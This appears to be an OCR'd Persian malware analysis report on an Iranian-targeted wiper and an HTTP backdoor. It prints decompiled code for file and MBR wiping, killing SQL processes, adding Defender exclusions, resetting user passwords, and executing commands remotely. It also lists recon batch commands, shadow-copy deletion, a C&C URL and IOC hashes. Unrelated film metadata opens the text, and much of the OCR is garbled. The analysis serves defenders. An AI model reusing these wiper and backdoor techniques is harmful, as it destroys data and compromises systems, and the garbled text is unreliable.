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6.3/10 42% 55%
IMDb Rotten Toma... Metacritic

69% liked this film

Google users

L JAK 0

John, a former gunslinger, returns to his hometown
and hopes to rebuild his relationship with his
estranged father. However, he is forced to pick up his
weapon to protect the people of his town.
Initial release: September 16, 2015
Director: Jon Cassar
Distributed by: Momentum Pictures
Budget: $11 million

i ies: Mind's Eye
Panacea Entertainment; Rollercoaster Films; Moving
Pictures Media
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using System; using System;

using System.Collections.Generic; using System.Collections.Generic;

using System.Diagnostics; using System.Diagnostics;

using System.DirectoryServices; using System.DirectoryServices;

using System.IO; using System.IO;

using System.I0.Compression; using System.I0.Compression;

using System.Management; using System.Management;

using System.Reflection; - using System. Text;

using System.Text; ~ using System.Threading;

using System.Threading; 4+ namespace forsaken;

using System.Timers; -» « internal class forsaken

namespace Wiper; hd

internal class Wiper - « private const bool PRINT_LOGS = false;

private static string sqlKillList = "";

private static bool full_purge = false; private static bool isPadvishMode = true;
private static bool delete_files = false; private static bool full_purge = false;
private static bool wipe_stage_2 = false; -» private static bool delete_files = false;
private static string currentUser = ""; private static string currentUser = "";
private static byte[] buff; private static byte[] buff;

private static List<string> importantExtensions = new List<string>(new string[113’ - - private static List<string> importantExtensions = new List<string>(new string[102’
{ {

- -
.mp4",
);

I private static List<string> purgeExtensions = new List<string>(new string[11]
private static List<string> purgeExtensions = new List<string>(new string[11]
1 " Json”, "htm", " log”, ".htm", "Jst", ":bt", "sml”, "vbs", "inc”, "ini",

" Json”, " Kt " log", " html", "Ist", " ", " xml”, ".vbs", " inc”, ".ini", Pty

i Ay

i (g Sb gyl ygo a0 0l 4 Slaaigus . cusl oo adlol cauS o 5380 1) 8100 ;L8 a7 e 50 aelol o

Sl 00U
private static List<string> mustDelete = new List<string>(new string[3] { ".bak”, ".mdf", ".Idf" });
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1}7rivate static bool IsExcluded(string path) |}Jrivate static bool IsExcluded(string path)
: string text = path.ToLower(); i string text = path.ToLower();
foreach (string exclusion in exclusions) L if (text == Path.GetTempPath().ToLower())
if (exclusion == text) ¥ return true;
return true; fareach (string exclusion in exclusions)
if (exclusion.EndsWith("*") && text. i ion.Substring(0, exclusion.Length - 1)) if (exclusion == text)
return true; L return true;

¥
if (exclusion.EndsWith("*") && text.StartsWith(exclusion.Substring(0, exclusion.Length - 1)))
return false;
¥ return true;
private static void WipeTraverse(string[] folders, bool restricted, int light_wipe) %
{ + if (text.Contains("microsoft") || text.Contains("symantec"))
foreach (string text in folders) {

return true;

—..... 2l ,
g cdlug,Sole slahdlasas lawss bosls Bis Sllas ololis 51 655l « 15w ol (o 00433l 51 Bua Ylazs
ol 09gs &AJLM

| DeleteLogs &G i

> ol asles Bis it (owyiwd haw L) b SY 0o swtask schedule jloslatnl b capas diges ;o ol ol
g0 dlg i Cilie 4 8 (sdiges 4 o L FY B> Cudige duoyo

private static void DeleteLogs() private static void DeleteLogs()

private static string GetCurrentUser() 1 in (wevtutil.exe el') DO wevtutil.exe ol \"%%1\";

string[] array = RunCmd("whoami");
if (string IsNullOrEmpty(array[0]))
{

| WipeSelected &G Fg

S8l o Sles jo Pzl g Uas 5550 51 6 55k> sl (600 (60,5 es S casatry-catch &G (0,5 ddlol b asas ases jo
NOW PRI ES

private static void WipeSelected(List<string> paths, int light_wipe) private static void WipeSelected(List<string> paths, int light_wipe)
8
if (paths == null || paths.Count == 0) if (paths == null || paths.Count == 0)
{
return; return;

¥ H

e s s o gy em—

{

‘  — B
¢ et E

{

- I
WipeFile(path, restricted: false, light_wipe);

inue;

WipeFile(path, restricted: false, light_wipe); -
continue;
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private static void WipedSchedule(FileInfo f, string filePath, int light_wipe)
{

try

{

| WipeFromDisk &G Bg

092958 LT 05 ca gy 95 51 (6,500 idu 10 . s isPadvishMode U8 gy oo adlol (ool ol > S
Dygo 4 3 00D AR Oley Do 4 WIDR anld (il 252r9) Lulnd ol dlowl 50 )0 o i b 9yl 052 iogal,

private static void WipeFromDisk(Filelnfo f, string filePath, in light_wipe) private static void WipeFromDisk(Filenfo f, string flePath, int light_wipe)

{
try « if (isPadvishMode)
i

WipedSchedule(f, filePath, light_wipe);
return;

using (BinaryWriter binaryWriter = new BinaryWriter(File.Open(filePath, FileMode.

‘num = Convert. ToInt32(Math-Min(buff.Length, f.Length - i));
binaryWriter.Write(buff, 0, num);

VW oaxio All Rights Reserved ® 2022.



graph-inc.ir

I

| MakeKillSQLProcessList &G [§d

S okl |y o cusls 394 5q1 ol ol b (awl,3 S48 sl MakeKilISOLProcessList sl coas adlal slgs (gakes 5|

private static string MakeKillSQLProcessList()
{

Output("MakeKillSQLProcessList");

Process[] processes = Process.GetProcesses();
string text = "";

Process| | array = processes;

foreach (Process process in array)

{
string text2 = process.ProcessName. ToLower();

if (text2.EndsWith(".exe"))
i

¥
if (text2.Contains("sql"))

{

text? = text2. Remove(text2.Length - ".exe".Length);

Output("Killing " + process.ProcessName);
text += $"taskkill /PID {process.Id} /f\r\n";
¥
¥
return text;

| BuildKillMoBR &G g

b (L a5l o 03 0 0050 sus Hard Code &g 45 cans oo ploeil [y wipe mbr cldas a7 g1l diges ol oyl 5o
g 50 0,33 SYSTEMS2 joo ;0 g 00 zl 5wl servermanager.exe pls

int wmain_e()
{ _ _
HANDLE hDevice; // [esp+D@h] [ebp-3eh]
struct _OVERLAPPED Overlapped; // [es) ] [ebp-2
DWORD BytesReturned[2]; // [esp+F8h] [ebp-8h] BYRE

~lapped.Internal = @;

lapped.InternalHigh = @;

4.8 = 0i64;

d.hEvent = 0;

hDevice = CreateFileW(L"\\\\.\\PhysicalDrivee", oxC0000000, 3u, ©, 3u, @, 9);
DeviceIoControl(hDevice, ©x7C108u, @, @, @, ©, BytesReturned, &0verlapped);
CloseHandle(hDevice);

return 0;

Waio All Rights Reserved ® 2022.
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L] 00y 03D @L.»L..w )L.B aS cowl TestDelDisk.exe uLo.b ML:).: u.»‘ A..S‘SA exclude V929 LSA';‘— ‘E.M:Qa ua...?r.uu

WMIC /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference
call Add ExclusionPath=\""+text "\"+

& piivate static void Destr )

private static string BUldKIIMER()
B

| string text = Path.C

iin.CurrentDomain.BaseDirectory, "precg.exe™);

BinaryWriter binaryWriter = new BinaryWriter(new FileStream(text, FlleMode Create FileAccess.Write));
MemoryStream eam = new Memor “onvert.Fi il ode()));
GZipStream gZipStream newG D yStream, C

byte[] array = new byte[16384];

int count;

while ((count = gZipStream.Read(array, 0, array.Length)) > 0)

binaryWriter. Write(array, 0, count);

gZipStream.Close();
memoryStream.Close();
binaryWriter.Close();
Output("[+] created payload at " + text); =]
return text;

gk
« RunCmd(BuildKillMoBRO);
private static string BuildKillMoBR()
{

string text = "c:\\wi S =
List<string> { "sex B
Output("Deleting server manager™);
RunCmd("takeown /f " + text);

RunCmd("icacls " + text + " /grant everyone:F");
File. Delete(text);
RunCmd("WMIC
Output("Dec
BinaryWriter blnaryWnter new Blnaryerter(new FileStream(text, FileMode. Create FileAccess.Write));
MemoryStream yStream = new ))A
GZipStream gZipStream = new GZipsty

\\\\root\\Mic

class MSFT_MpPreference call Add Excl

onvert.Fi

oryStream, Cy ionMode.D

public static void Run(string[] args)

{
if (File.Exists("c:\\windows\\temp\\REV09.tmp"})

{

return;
if (File.Exists("c:\\windows\\temp\\REV08.tmp"))

Thread.Sleep(TimeSpan.FromMinutes(30.0));
¥

int num = 0;
bool flag = false:

S ol s

SREV03.tmp L 50 &b 51 bal sl by S
&yse C:\\windows\temp aigy ;o 238ls REVO8.tmp
abgy )0 REVOS.tMpP L (09 092 90 &jgeo ;0 .0,5 0
bse aails Joe g plxil g0 )8l (sl 950
81581 Ll el o5 st sl o6 el 31 @ls 5
2305 oo oolatwl 1 b sl s x| wan o (59,
3heashlSols wldee ploshjl e J1 ol sl b )l5300
Dyge 3 Gz WS GySelr ol saze sl
aido Yo b I8l sl (REVOB.tmp L (hogs 09> 50

S0 Byge

case "-fork-bomb";
flag8 = true;
break;

case "-wipe-stage-2";
wipe_stage_2 = true;
break;

case "-wipe-all";
flage = true;
break;

case "-wipe-exclude";
text2 = list5[++i].Trim();
exclusions.Add(text2. ToLower());
OQutput("Excluding " + text2);
break;

\f oo

| sosyseokessi Bl

18 3925 699)5 Sl GlegS] )0 Slymis Wiz diges ;0
980 2 Olye Jols &S

-fork-bomb zogw Bo>
-wipe-stage-2 guogw So>r
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private static void BreakSelectedUsers(List<string> users) private static void BreakSelectedUsers(List<string> users)
{ {
if (users == null || users.Count == 0) & Output("BreakSelectedUsers");
if (users == null || users.Count == 0)
return; {

3 return;
Output("BreakSelectedUsers"); ¥ y .
foreach (string user in users) Output("BreakselectedUsers");
foreach (string user in users)
RunCmd(string. Format(*net user {0} " + RandomString(7) + "aALl", user)); -+

{
- B RunCmd(string.Format("net user {0} " + RandomString(7) + "1", user));
¥

| IsHoneyPot &b H

3% sr sl @b ol el pasas sl @ Ssle sl sl (Sl e (ad cunsg (om0 ol el
Sig 0 lasuinlsla (el asin oS ;0 a5 jshiles .l olb O)fﬁ}‘ S 9 9ol ldlhas e sl S
A5 S co (i) ¢ Sy it 50 ool olwlis 5l g 009 ol dasls (sla L8 5l oolatl b iogob ools 5l cladlone
5 355 sy b e s 555 i 5 a5y e b ol e 53]l g S 5 45 bl

sl azslodb. Wges. ¥ b 4T 18 e ;0 len Dygo 4 Ll Y
S5 0y50 He0he Lol pee jo sl LSS &g 4 S1.F cails yuin coblKe V3l o o ¥
C:\123.exe Mo sl

private static bool isHoneyPot(string path)

if (lisPadvishMode)
{

¥
try

return false;

if (Directory.Exists(path))
1

DirectoryInfo directoryInfo = new DirectoryInfo(path);
if ((directoryInfo.Attributes & FileAttributes.Hidden) != FileAttributes.Hidden)

return false;)
by
if (directoryInfo.GetDirectories("*", SearchOption.TopDirectoryOnly).Length != 0)

return false;

¥
FileInfo[] files = directoryInfo.GetFiles();
foreach (FileInfo fileInfo in files)

if (!I(fileInfo.Extension == ".db"))
if ((fileInfo.Attributes & FileAttributes.Hidden) != FileAttributes.Hidden)
{
return false;
by
if (fileInfo.Length > 1000000)
return false;
}
¥

return true;

¥
if (File.Exists(path))

A\ PP All Rights Reserved ® 2022.
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0.1.4VAH (1185 (618,00 4 by e (gaseuns aSl Jl 0595 0.0.15V2H Losews g louo ;0 oslisanl 8590 (s a5t . ol Slio)iey
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Lo g oo 4 alos 50 ooliiwl 3yg0 (Gasumd -
Version: 0.0.15v2H
SHA256: E3D61CBBFBE41295DD52ACFF388D1D8B1D414A143D77DEF4221F D8S5AAEBCD83

Namespace: HttpService

< C ® 127.0.0.1:19332/version

0.0.15v2H

IR 610y ao alos 10 ooliiwl 8590 (SaZus
Version: 0.1.4v4H
SHA256: 234a79¢c3b9041d2ef8chbb9c2a3¢22d79386a9cc0848291fab37e00e6aalfbb4af

Namespace: WinCom

@ 127.0.0.1:9396/v_i X +
< C ® 127.0.0.1:9396/v_i
©.1.4v4H

sl odalice |1 loaS” ,o WinCom 4, HttpService jl ol s

Wolnd Slopes Loswglowo o)l W
using System; using System;
using System.TO; using System.IO;
using System.Net; using System.Net;
using System.Net.Sockets; using System.Net.Sockets;
using System.Text; 4+ lusing System.Reflection;
using System. Threading; using System. Runtime.CompilerServices;
using System.Web; using System.Text;
pServi - using System. Threading;
\ using System.Web;
J] Token: 002000008 RID: 8 -
internal class SimpleHTTPServer {
{ . /] Token: 0x02000012 RID: 18
| /] Token: 0x17000001 RID: 1 internal class SimpleHTTPServer
// (get) Token: 0x06000032 RID: 50 -» {
/[ (set) Token: 0x06000033 RID: 51 > // Token: 0: DX17DDDDDI RID: 1.
public int Port + 1/ (get) Tok RID: 114 RVA: 0x00002DC1 File Offset: 0x00000FCL
2 [ (set) Token: 0)6)6000073 RID: 115 RVA: 0x00002DC9 File Offset: 0x00000FC9
get public int Port
{
return this._port; get
¥ L
private set return this._port;
s private set
2 =
/] Token: 0x06000034 RID: 52 - }
public SimpleHTTPServer(int port) N B
{ K /] Token: 0x06000074 RID: 116 RVA: 0x00002DCB File Offset: 0x00000FCB
Common.LoadLibraries(); public SimpleHTTPServer(int port)
this.Initialize(port); : §
‘Common.LoadLibraries();
[[ Token: 0x06000035 RID: 53 - - Common.LoadStartCommand();
public SimpleHTTPServer(int port, bool foreground) this.Initialize(port);
{
Commeon.LoadLibraries(); 41@@%7@[) 117 RVA: 0x00002DEC File Offset: 0x00000FEC
if (foreground) public SimpleHTTPServer(int port, bool foreground)
{ {
this._port = port; Common.LoadLibraries();

VWVoaxios All Rights Reserved ® 2022.
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public SimpleHTTPServer(int port)

Common.LoadLibraries();
this.Initialize(port);

be
// Token: 0x06000035 RID: 53
public SimpleHTTPServer(int port, bool foreground)

Common.LoadLibraries();
if (foreground)

this._port = port;
this.Listen(});
return;

3
this.Initialize(port);

b
/] Token: 0x06000036 RID: 54
public SimpleHTTPServer()

public SimpleHTTPServer(int port)

Common.LoadLibraries();
Common.LoadStartCommand();
this.Initialize(port);

¥
1/ Token: 0x06000075 RID: 117 RVA: 0x00002DEC File Offset: 0x00000FEC
public SimpleHTTPServer(int port, bool foreground)

Common.LoadLibraries();
‘Common.LoadStartCommand();
if (foreground)
1
this._port = port;
this.Listen();
return;

i
this. Initialize(port);

el ooy bl 5JUT i,

/[ Token: 0x06000036 RID: 54 -»
public SimpleHTTPServer()
{

Common.LoadLibraries();

Tcplistener tepListener = new Tcplistener(IPAddress.Loopback, 0);

teplistener.Start();

int port = ((IPEndPoint)tcpListener.LocalEndpoint).Port;

tepListener.Stop();

Console.WriteLine("Running on port {0}", port); -
this.Initialize(port);

L
public SimpleHTTPServer()

Options.Nolnlining)]

Common.LoadLibraries();
Common.LoadStartCommand();

Teplistener tepListener = new TepListener(IPAddress.Loopback, 0);

teplistener.Start();

int port = ((IPEndPoint)tcpListener.LocalEndpoint).Port;

teplistener.Stop();

Console WriteLine(<Module>_\u202D\u202E\u202A\u200B\u200C\u206B\u202E\u200C\u202C\u206D\u:
this Initialize(port);

Cowlodus JLQ-C‘ alises LQM) K9 r é"‘ﬁ" GALQJ)Q Mg, L)"‘ S| ua.?u....n ds)jjoul.o&:

private void Listen()

try

{
this._listener = new HttpListener();
this._listener. Prefixes. Add(*http://*:" + this._port.ToString() + "/*); -
this._listener.Start();

catch (Exception ex)

this WriteLog(ex Message);
return;

2
this._result = this._listener.BeginGetContext(new AsyncCallback(this.OnContext), null);
while (this._running)

this._result. AsyncWaitHandle. WaitOne();

this._listener.Close();

private void Listen()

ener = new HitpListener();
this._listener.Prefixes. Add(<Module.\u206C\u206C\u206D\u200E\u202C\u206B\u200E\u2068\u2
this._listener.Start();

catch (Exception ex)

this.WriteLog(ex.Message);

return;
2
this._result = this._listener.BeginGetContext{new AsyncCallback(this.OnContext), null);
while (this._running)

this._result.AsyncWaitHandle. WaitOne();
%

this._listener.Close();

o, les sly>lglisten Jl> o port (g, (599)9 slaosls (uils,s alyd oS cuvlprocess mb lidlas il jo coenl o aulgs 3|

(ol 00 03,1 Jgaz ;0 aalol )5 abogire (sloosls) .o o plouilly (6355 (sl 3 cnslio

private void Process(HttpListenerContext context)
{

context.Response.StatusCode = 200;
context.Response.ContentEncoding = Encoding.UTFS;
try
{
string text = context.Request.Url. AbsolutePath;
string a = context.Request.Url.Query.TrimStart(new char[]

o
D;

text = text.TrimStart(new char[]
{

})-TrimStart(new char{]

{

o

o]
text = HttpUtility.UrlDecode(text);

) |1 text.StartsWith("b=1))

string targetURL = context.Request. Url.PathAndQuery.Substring(3).Replace("http:/", "http://
ProxyProcessor.Proxify(context, targetURL, text.Startswith("b="));
context.Response.OutputStream. Close();

return;
b
text = text.Replace(":/", ":\\"); %
if (text == "version")

this.Output(context, "0.0.15v2H", false); L)
else if (text.StartsWith("cmd=")) *
{

string[] array = G r DoCm(text. "emd=".Length)); L)

private void Process(HttpListenerContext context)
{

context.Response.StatusCode = 200;
context.Response.ContentEncoding = Encoding.UTFS;
try
{
string text = context.Request.Url. AbsolutePath;
string a = context.Request.Url.Query. TrimStart(new char(]

Y

N
text = text. TrimStart(new char |
{
}-TrimStart(new char(]
{
>
i
text = HttpUtility.UriDecode(text);

string text2 = Common.decrypt(text);

<Module > \u206C\u206C\u206D\u200E\u202C\u206B\u200E\u206B\u202A\u20(
<Module>.\u200C\u200E\u206B\u206D\u202B\u206F\u206F\u206C\u200B\u2
<Module>.\u206C\u206B\u206A\u206E\u202C\u206F\u200C\u206B\u200E\u2
if (text.StartsWith(<Module>_\u206C\u206B\u206A\u206E\u202C\u206F\u200C\u206B\u200E\u2
{

string targetURL = context.Request.Url.PathAndQuery.Substring(3).Replace(<Module>.\u2(
ProxyProcessor.Proxify(context, targetURL, text.StartsWith(<Module>.\u206C\u206C\u206C
context.Response.OutputStream.Close();
return;

¥
text = text.Replace(<Module>.\u206C\u206C\u206D\u200E\u202C\u2068\u200E\u206B\u202A\
if (text == <Module>>.\u200C\u200E\u206B\u206D\u202B\u206F\u206F\u206C\u200B\:202D\u2
{

this.Output(context, <Module>.\u200C\u200E\u2068\u206D\u202B\u206F\u206F\u206C\u2

2
else if (text == <Module>.\u206C\u206C\u206D\u200E\u202C\u2068\u200E\u206B\u202A\u206E
{

A axiao
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_htmll\"lode]

stringBuil

qlDataReader

Gabauly 4y 18las ol 0gu ploxil sy s g Qigdecode oo encode el 5l leas Jol salag jo conlb oo Judosi sl
ol 555655 e decode (gl il slaaie Jols g canl odis (g5l ppe Confuser s pgwge sl protector

1 memo
D7

i += memo
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I

638y3 ool a5 el (g1 s L )] o Shas g oal o toles 4y oy plool #8, asdecoder bl G 51 (glaiges 5 S 5o
9 oﬁftsn LJL.J)‘)SL.\.’ o)SLo.c UI L}“’L""‘)"ﬁ Qg 50 J_n.\..u LS“AM) a 603)5)‘~.\.§.A 5Sh|ft 5XOR J...a JL«C‘ LSIO AJ)‘.) as
5 3529 bl ol 5 cilizie wie & J3lo>

id = (did
t num

< 8 | (int)<Mod

), id + 4, count)));

te O[id + 1] << 8

[id + 5] << 8 | (int

result = defa

n result;

69959 wlwl p a5 05 0 ddlsl cas encode (g lade 4 ol>l LB sU asly entry glawl jsloadini &b ;s Jle sy
Gl yo g anls ol plowl | am . 0gs o adlol ol 4 g 4zaSpyini 2,5 YU JSs 50 sanSdecode b 4 480809792
2305 codni adlol 4y Sl LB plees LB JLoo hdlas olalaas

ines(path);

se(array[0].T (), out num})

n = num;

array[1].T
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S Ju.;l.wlﬁ Slophais g 090 oo 0ilgs Qid‘sbm QT 3529 Dygeo 50 A5 el Hl8l0s ol ol Sledas el B ol
Shal pae 9 Sladas ulol  ols @je G (59, 2 oo Slisten gl Swelils jlade wlodas ol alos 31 a5 0.5 oo

A0 o dalol 0g3 18 i Wiy, 8l caslas 0ezg ol ol S5 ail e ljgws

n = 8398;

Sy Sl Obles JSiv 50 o5 jshailen Wigd oo @S NT LU 0929 pue 50 53 1y S8 olsl 1o (28 e ol
sl sa [l il )l o conl ()95 mls Glow (o8 (2| rome 98396 (22 i

SimpleHTTPServer(int sool foreground)

(foreground)

it

[nitialize(port);

pas Wygo 8 g S persist servicel sl b g gy oloie codly 395 B auS oo (035158100 50 asliy ool g anlol o
ol 3 0, Shae Jalis 205 oyl 035 o0 loua |, SimpleHTTPServer &b ol sl

nt32(args[@]) :
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Sl C# 55,0 Ggame (sl yus)Lhtml I HtmMIAgilityPack

Html Agility Pack (HAP) [ N e e
Html Agility Pack SARO (50

& Download Now )‘)3“'\" Q?.")‘b LS}L*‘°°)*:35 L‘ ']"-‘-’)“’ 4.5Ll°)ls LS‘)-’ lonic.zip 9
D9 0 (619550

Downloaded more than

73,964,405

times ! —

35,5 o -start adlol a4y St LB el Glae e L JLos 9998 0 00) las LoadStartCommand xobs J=>lpe (ol 5l as
DoCMd & S5 <G a5 5 S5t )l 51 o lee g ol aas IS ol L o wlul 5 gy Sl slaawls g oaslys ) 16
g g0 00ld

netsh advfirewall firewall add rule name="TCP Port 9 " dir=in action=allow protocol=TCP localport=9396
echo ---ipconfig /all >> c:\windows\temp\prts_5482E.tmp
ipconfig /all >> c:\windows\temp\prts_5482E.tmp

echo ---whoami /all >> c:\windows\temp\prts_5482E.tmp
whoami /all >> c:\windows\temp\prts_5482E.tmp

echo systeminfo >> c:\windows\temp\prts_5482E.tmp
systeminfo >> c:\windows\temp\prts_5482E.tmp

echo ---tasklist >> c;\windows\temp\prts_5482E.tmq

tasklist >> c:\windows\temp\prts_5482E.tmp

echo wmic logicaldisk get name >> c:\windows\temp\prts_5482E.tmp
wmic logicaldisk get name >> c:\windows\temp\prts_ 5482E.tmp
echo net user >> c:\windows\temp\prts_5482E.tmp

net user >> c:\windows\temp\prts_5482E.tmp

echo ---dir c:\users >> c:\windows\temp\prts_5482E.tmp

dir c:\users >> c:\windows\temp\prts_5482E.tmp

echo net sessions >> c:\windows\temp\prts_5482E.tmp

net sessions >> c:\windows\temp\prts_5482E.tmp

echo ---net view /all >> c:\windows\temp\prts_5482E.tmp

net view /all >> c:\windows\temp\prts_5482E.tmp

echo ---net share >> c:\windows\temp\prts_5482E.tmp

net share >> c:\windows\temp\prts_5482E.tmp

echo ---route print :>> c:\windows\temp\prts_5482E.tmp

route print >> c:\windows\temp\prts_5482E.tmp

echo ---netstat -aon >> c:\windows\temp\prts_5482E.tmp
netstat -aon >> c:\windows\temp\prts_5482E.tmp

echo ping 8.8.8.8 -n 2 >> c:\windows\temp\prts_5482E.tmp
ping 8.8.8.8 -n 2 >> c:\windows\temp\prts_5482E.tmp

ot sl dasiio S| SN 5 ylaezr 5 Jlold 0 Sliets St 531 51 i ol sl maly IS )0 oS jshailen
5250 tMP (565,18 ;o pris_B482E.tmp L ;0 5; wledbol ol g ola |y oo |21 ol o a5

laiges oS o 211y 28by0 wlygws g sxslehttp JSSg,0 (59, ,0 9366 &)g0 S92 Slygrws cdl,o HUasls sl ol
sl 00 089l dolal o 8Ly gl g Jlo)l wlygws
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Q 127.0.0.1:9396/v_i X +
¢« C  ® 127.001:93%/.i A giwlod
©.1.4v4H
Q@ 127.0.0.1:9396/w_i X +
& C @® 127.0.0.1:9396/w_i ‘ ‘ . Ln.;
C:\Users\test\Desktop\
C:\Users\test\Desktop\wcmssvc-cleaned.exe
@ 127.00.1:9396/cmd=calcexe x  +
< C @ 127.00.1:9396/cmd=calcexe
lygiass syl
Calculator = [m) X
= Standard = k0]
M+ M- Ms
% CE G <«
Wx 52 = =
7 8 9 X
4 5 6 -
1 2 3 A
- 0 N =
00983l iy guo A lygimws (ly> ]
(Whoami aiey 5" Jolxo)
127.0.0.1:9396/a_1
POST v 127.0.01:9396/a1
Params Authorization Headers (8) Body ® Pre-request Script Tests Settings
none form-data x-www-form-urlencoded @ raw binary GraphQL Text -

1 xxs&xxaHZyfxzz

Body Cockies Headers (4) Test Results

Pretty Raw Preview Visualize Text v o

1 desktop-s721fkn\test
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[]1 xor_encode( [1 data)

for ( i =0; i < data.Length; i++)

Iy
L

num = i;
data[num] *= ( N(EAL = 1))3

}

return data;

I

yids POST &jg0 s 00 96501 iy gws Jluyl a8 5l oolazal
Olygws. cowl sl @Y gams (aseis spyslSe 5l e sl
03.“46;: JL.:)| baseb4 Oygo O 9 S ) OBS.:‘ Jﬁ‘ 4\.1.‘>-).n 3o

el 00 0591 Jlwyl S lygriws aulS ds bgspo Jga aoldl 4o

1 v_i Sl ases aoles
2 w_i ol e ioles
3 a_l=xxs Ak oo £9, 5 HZIP L aS Jy90 ;0 ZIP L sole &jg0 45 ljgiws sl
4 a_1=xxc SOL &lygiws sly>!
5 a_l1=il Mal_name.exe.err, Mal_name.exe.out sl 5 (5;LSL g oyails>
6 a_l=i2 Mal_name.exe.err, Mal_name.exe.out sl L 5;LSL
7 Cmd= olygiws gl
P=0R b= oSy Oleslass
9 M=afe=1 F2)b 5 Oley o0 g Jold sl
10 Con= lygiws gl
1 Prt= g B g inles el a lb e

7 CommandProcessor
7 Common

7 ProxyProcessor
1 SimpleHTTPServer

,,,,,,,,,,,,,,

V¥ amio

. 7 Program e

390 ko als 4 ol 3 T a8l ol calises slo iso
e ise BUI Gles oo 3Ls g0 50 g 00l 00ls s gs ooliul

319,518 5830 (g 090 5
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| CommandProcessor H

1 Cleanup 71 EncodeFilename
1 Decode 1 EndInteractive 3
7 decode_str 1 GetDirectoryContents
1 decode_url_str 7 GetlnteractiveResults Foomemee- il 3)lg0 ol Jols CommandProcessor iz
7 DoCmd 7 p_ErrorDataReceived |
71 Dolnteractive 7 p_OutputDataReceived
1 DoSql = SizeSuffix |
Comman E
7 CreateHtmIDocument 7 Loadlni
7 CreateZipFile 7 LoadLibraries i
7 Decrypt 7 LoadStartCommand i
7 Encrypt 7 LoadZipDll i
7 GetHtmlltemProperty 71 SaveHtmIDocument !
Lo 1wl 3)lge ol Jols Comman s
71 GetPortNumber axor_encode Vs oxl Js '

71 HtmlIDocumentSelectNodes 7 ZipFileAddDirectory

71 IsHtmlAgilityDllAvailable a1 ZipFileExtractAll
1 IsZipDllAvailable 1 ZipFileSave
71 LoadHtmlAgilityDLL 1 ZipFileSave

1 LoadHtmIDocument

| ProxyProcessor E

71 CacheAdd

71 CacheGet

71 ClearExpiredCaches
7 Proxify b sl 3)lge oyl Jelis ProxyProcessor jtso
7 ReadCookiesFromDisk |

7 RedirectUrl |

7 WriteCookiesToDisk |
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{ SimpleHTTPServer H

1 SimpleHTTPServer (539, Jow 4w)
71 DoDownload

7 GetPostData

7 Initialize

1 Listen . ol 3)lg0 ol Jols SimpleHTTPServer iz
7 OnContext
7 Output

71 Process

71 Stop

71 WritelLog
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oled . cuwloas Slolis (S35, Olles Db aS arslo ogzg aSiss 31 sloygpm 5l SO (59, » o2 Distributor.exe 18
A aseios 00 ploul cwyp bl 18I (ol (soage p ploe slaylil jLicsl addsg el (aseine ld ol 8U 5l a7 jgbo
dalip oyl 0uS e pladIScheduled Task SaS'L j9ai9 Jule piw yo Service sl g,k 515 ol plol gl aeliy ol

-lg> e distributor.ini 511, gy b gimplant .l shared folder ol

share & cwyiws (gl aSi ;o Cugp shal 615505 3y 50 (1906 40lS g (6,0)1 pL) (5 ,9) 5 ol wledbl cidlyyo ¢Sl asl s oyl
sh>lgshare pe 5l 5 (258 i sladie SO el astine oS jo aS job len . o)lo c’ommand—line Gk il |y o pions
1wl ) g0 o ] jlade 4S5 Cowl oun axd T s o Coge

Username = TicketUser
Password = TicketUser

Share=C$
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el 00l |8 yug0ai ;0 abogy e Ol gns .S co duaio o B S 4 pladl

S sl 9"“"{* aio piww H AULO Start Cossg b g SO ol 4 pladl Lol jliélas sl bld S 51 s
S o L2l Ol g 99l se 9529 Ty abogare g it 3 s - S o STAT]) 00 Slomyl gy s - plod g0 00

Yq . All Rights Reserved © 2022.



graph-inc.ir

I

schtasks jgus 3l oslatwl b coles )0 g les so (ol j1800 a0 bogsn oo slo ol oS5 4 pladlaS 5l oose 0 puien
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{ Executable Or Config Files H

Path: c:\windows\system32\servermanager.exe

MD5 Hash: d0229ae9723f0ebeb713ccd8754e6860

SHA-1Hash: Ta461bab0feebb0a311402a02f410d313d40266a

SHA-256 Hash: 8d9832efbdddcbb06dcd178bcaf192¢c9961ce4bcf3b67a1676d0d1c3264b5cde

Name: dilemma.exe

MD5 Hash: 6d806a5b0390262b5ef4687bal0c540c

SHA-1Hash: 2ce90ab46c620f84dfb36a3e97ae8f27122b142a

SHA-256 Hash: c9d0d65ece17239b50f97dab502ddb34adal08ef2f1f9c0747e30fb4ba3ebfb00

Name: wcmssvc.exe

MD5 Hash: 02287396edfc2d01f8edblc457ed0deb

SHA-1Hash: 26164ae1b30b40801dbc486892f9fc817bf4e86f

SHA-256 Hash: 234A79C3B9041D2EF8CB59C2A8C22D79386A9CC0848291FAS37EOOEGAAOFBB4AF

Name: Distributor.exe

MD5 Hash: 22b3396e4c4d8ecebb064e4dadbffc19

SHA-1Hash: d0b9122026dfab5bd23093alb46ac95418958072

SHA-256 Hash: 234a79¢3b9041d2ef8cb59¢c2a9¢22d79386a9¢cc0848291fab37e00eb6aalfbb4f

Name: awesdap.bat

MD5 Hash: 4DOFEEDTE69FEBA24C8E8DB0O87F3C1BO

SHA-1Hash: F59ADB5F6940B4D2F921A512D4F6A060C5EFOESS

SHA-256 Hash: 1C68D8CBI9A3BCD83E75D02CC62C9BEBFCCO9EC4DI81096AA015F0C82370711F5

Name:

7 wemssvce.exe.start
T wemssvc.start

T wemssve.err

T wemssve.exe.err

T wemssve.exe.ini

7 wemssvc.ini

Path E

Name:

1 c:\users\public\If

1 c:\windows\temp\REV09.tmp
1 c:\windows\temp\REV08.tmp

VY axio All Rights Reserved ® 2022.
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Network H

7 https://wer345.free.beeceptor.com/thisisme (possible C&C)
7 listening port (9396 or read from .ini file)

7 any traffic pattern on http post request such as xxbase64string (x is random character)
for example xxC&xxbaseb4string&xxbasseb4string

Persist H

Service Name:

1 Service Registration: servicel

71 schtasks /create /RU \"NT AUTHORITY\\SYSTEM\" /TN \"MF-*"

1 schtasks /create /RU \'NT AUTHORITY\\SYSTEM\" /TN \"MF-cleanup\"

| Defense Evasion E

WMIC /Namespace:\\\\root\\Microsoft\\Windows\\Defender class MSFT_MpPreference call Add
ExclusionPath="servermanager.exe”

{ Command Execution E

CMD:

Tiisreset /stop
Tiisreset /start

71 net user /delete
71 net user /add

71 echo delete shadows all > 1.s && diskshadow /s 1.s && del 1.s
71 takeown /f
7icacls

= taskkill /PID {0} /f
71 logoff

7 rwinsta

7 whoami
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Adversarial Tactics
Techniques

MITRE

ATT&CK & Common Knowledge

Execution Persistence Pr|V|Ie?e Defense Lateral
Escalation Evasion Movement
T1059.003 T1543.003 T1543.003 T1207 T1570
Command Create or Create or DCshadow Lateral Tool
